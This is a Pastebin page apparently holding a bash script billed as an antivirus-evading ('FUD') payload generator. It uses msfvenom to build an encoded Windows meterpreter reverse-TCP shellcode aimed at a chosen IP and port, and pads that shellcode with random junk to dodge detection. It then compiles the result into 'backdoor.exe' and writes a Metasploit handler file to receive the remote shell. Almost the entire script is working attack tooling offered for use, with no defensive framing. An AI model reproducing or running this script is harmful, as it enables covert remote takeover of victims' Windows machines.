Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Color Variables
- b='\033[1m'
- u='\033[4m'
- bl='\E[30m'
- redbold='\E[1;31m'
- red='\E[0;31m'
- green='\E[32m'
- yellow='\E[33m'
- bu='\E[34m'
- m='\E[35m'
- cyan='\E[36m'
- white='\E[37m'
- endc='\E[0m'
- enda='\033[0m'
- clear
- echo -e "$redbold
- ==================================
- || ||
- || Sh3LlDu5t ||
- || FUD PayL04d Gen3r4t0r ||
- || ||
- ==================================$endc
- "
- #Check root Priiledges
- if [ "$(id -u)" != "0" ]; then
- echo -e "$red[!] This script must be run as root$endc" 1>&2
- echo
- echo
- exit 1
- fi
- ###
- echo -e "$redbold -------------ifconfig------------------ $endc"
- int=$(ifconfig | cut -d" " -f1 | sort | grep -v '^$')
- for i in $int
- do
- echo -e "$redbold|$endc Interface $cyan $i $endc has IP $yellow $(ifconfig $i | grep 'inet addr:' | cut -d: -f2 | awk '{print $1}') $endc"
- done
- echo -e "$redbold --------------------------------------- $endc"
- echo
- echo -ne "WHat IP are we using: : "
- read IP
- echo -e "What Port Number are we gonna listen to? : \c"
- read port
- echo -e "Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : \c"
- read seed
- echo -e "How many times you want to encode ? 1-20 : \c"
- read enumber
- rm -rf seclabs
- mkdir seclabs
- cd seclabs
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port -e x86/shikata_ga_nai -i $enumber -f c > test.c
- #Replacing plus signs at the end of line (commented out bcoz ,msfvenom gives no plus signs)
- #sed -e 's/+/ /g' test.c > clean.c
- #sed -e 's/buf = /unsigned char micro[]=/g' test.c > ready.c
- echo "#include <stdio.h>" >> temp
- echo 'unsigned char ufs[]=' >> temp
- for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2
- sed -i 's/$/"/' temp2
- sed -i 's/^/"/' temp2
- echo ';' >> temp2
- cat temp2 >> temp
- cat test.c >> temp
- mv temp ready2.c
- echo ";" >> ready2.c
- echo "int main(void) { ((void (*)())buf)();}" >> ready2.c
- mv ready2.c final.c
- echo 'unsigned char tap[]=' > temp3
- for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4
- sed -i 's/$/"/' temp4
- sed -i 's/^/"/' temp4
- echo ';' >> temp4
- cat temp4 >> temp3
- cat temp3 >> final.c
- #Cleanup of junk useless files :P
- #rm -f clean.c
- rm -f test.c
- #rm -f ready.c
- rm -f rand.c
- rm -f temp2
- rm -f temp3
- rm -f temp4
- rm -f nul
- # compiling..
- /usr/bin/i586-mingw32msvc-gcc -Wall final.c -o final.exe > /dev/null 2>&1
- mv final.exe backdoor.exe
- mv backdoor.exe ../backdoor.exe
- mv final.c ../backdoor_shellcode.c
- cd ..
- rm -rf seclabs/
- echo -e "$white Creating metasploit resource file..."
- echo -e "use exploit/multi/handler
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST $IP
- set LPORT $port
- exploit -j" > backdoor_handler.rc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement